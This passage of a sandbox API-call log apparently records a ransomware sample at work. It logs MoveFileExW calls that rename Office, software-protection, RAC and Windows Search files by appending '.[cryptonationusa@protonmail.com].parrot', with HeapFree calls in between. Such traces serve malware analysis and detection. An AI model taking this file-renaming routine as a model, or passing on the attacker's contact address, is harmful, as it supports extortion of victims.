(lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0102.879] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0102.886] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0102.891] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0102.933] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0102.960] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0103.008] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0103.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.086] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0103.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0103.203] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0103.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.223] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0103.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0103.256] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ef68 | out: hHeap=0x5b0000) returned 1 [0103.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0103.305] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67f060 | out: hHeap=0x5b0000) returned 1 [0103.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.351] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6857c8 | out: hHeap=0x5b0000) returned 1 [0103.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0103.463] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6804e8 | out: hHeap=0x5b0000) returned 1 [0103.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.474] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6858b0 | out: hHeap=0x5b0000) returned 1 [0103.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0103.480] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6804e8 | out: hHeap=0x5b0000) returned 1 [0103.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22240c8 | out: hHeap=0x5b0000) returned 1 [0103.493] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22649b8 | out: hHeap=0x5b0000) returned 1 [0103.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0103.498] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22649b8 | out: hHeap=0x5b0000) returned 1 [0103.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0103.506] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685998 | out: hHeap=0x5b0000) returned 1 [0103.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f250 | out: hHeap=0x5b0000) returned 1 [0103.557] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685998 | out: hHeap=0x5b0000) returned 1 [0103.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.758] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659248 | out: hHeap=0x5b0000) returned 1 [0103.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.961] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659248 | out: hHeap=0x5b0000) returned 1 [0103.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0103.985] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0103.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0103.989] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0103.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0103.994] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0103.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0103.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0103.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0103.999] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0104.011] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.022] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.029] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.030] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22649b8 | out: hHeap=0x5b0000) returned 1 [0104.030] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0104.039] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all 